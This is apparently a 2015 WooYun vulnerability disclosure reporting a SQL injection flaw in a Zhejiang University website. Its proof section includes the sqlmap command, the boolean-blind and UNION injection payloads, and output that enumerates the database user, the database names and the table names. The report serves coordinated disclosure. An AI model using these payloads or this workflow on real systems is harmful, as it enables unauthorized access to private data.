当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139483

漏洞标题:浙江大学某站存在SQL注入漏洞

相关厂商:浙江大学

漏洞作者: 路人甲

提交时间:2015-09-07 12:52

修复时间:2015-10-23 13:52

公开时间:2015-10-23 13:52

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-07: 细节已通知厂商并且等待厂商处理中
2015-09-08: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开

简要描述:

SQL漏洞导致可获得大量敏感信息

详细说明:

注入点:http://**.**.**.**/mpa/detail.php?resourceid=910
可获得大量敏感信息

漏洞证明:

sqlmap -u "http://**.**.**.**/mpa/detail.php?resourceid=910" --current-db --current-user --dbs
GET parameter 'resourceid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n
sqlmap identified the following injection points with a total of 49 HTTP(s) requ
ests:
---
Place: GET
Parameter: resourceid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: resourceid=910 AND 1632=1632
Type: UNION query
Title: MySQL UNION query (NULL) - 32 columns
Payload: resourceid=910 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a7a6d763a,0x6f5
951714775444f6462,0x3a73757a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---
[10:56:26] [INFO] testing MySQL
[10:56:26] [INFO] confirming MySQL
[10:56:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL >= 5.0.0
[10:56:27] [INFO] fetching current user
current user: 'admin@localhost'
[10:56:27] [INFO] fetching current database
current database: 'zjumpa_website'
[10:56:28] [INFO] fetching database names
[10:56:28] [INFO] the SQL query used returns 3 entries
[10:56:29] [INFO] retrieved: "information_schema"
[10:56:29] [INFO] retrieved: "zjumpa_sys"
[10:56:29] [INFO] retrieved: "zjumpa_website"
available databases [3]:
[*] information_schema
[*] zjumpa_sys
[*] zjumpa_website
[10:58:44] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5
[10:58:44] [INFO] fetching tables for database: 'zjumpa_website'
[10:58:45] [INFO] the SQL query used returns 15 entries
[10:58:45] [INFO] retrieved: "office_website_affiche"
[10:58:46] [INFO] retrieved: "office_website_attachment"
[10:58:47] [INFO] retrieved: "office_website_buildqueue"
[10:58:47] [INFO] retrieved: "office_website_column"
[10:58:48] [INFO] retrieved: "office_website_field"
[10:58:48] [INFO] retrieved: "office_website_member"
[10:58:49] [INFO] retrieved: "office_website_resource"
[10:58:49] [INFO] retrieved: "office_website_resourcefield"
[10:58:50] [INFO] retrieved: "office_website_score_2009"
[10:58:50] [INFO] retrieved: "office_website_score_2010"
[10:58:51] [INFO] retrieved: "office_website_setting"
[10:58:51] [INFO] retrieved: "office_website_signup"
[10:58:52] [INFO] retrieved: "office_website_tag"
[10:58:52] [INFO] retrieved: "office_website_tagresource"
[10:58:53] [INFO] retrieved: "office_website_templatesetting"
Database: zjumpa_website
[15 tables]
+--------------------------------+
| office_website_affiche |
| office_website_attachment |
| office_website_buildqueue |
| office_website_column |
| office_website_field |
| office_website_member |
| office_website_resource |
| office_website_resourcefield |
| office_website_score_2009 |
| office_website_score_2010 |
| office_website_setting |
| office_website_signup |
| office_website_tag |
| office_website_tagresource |
| office_website_templatesetting |
+--------------------------------+


zju_database.jpg


zju-tables.jpg


zju-columns.jpg


修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-09-08 13:50

厂商回复:

通知用户处理中

最新状态:

暂无


漏洞评价:

评论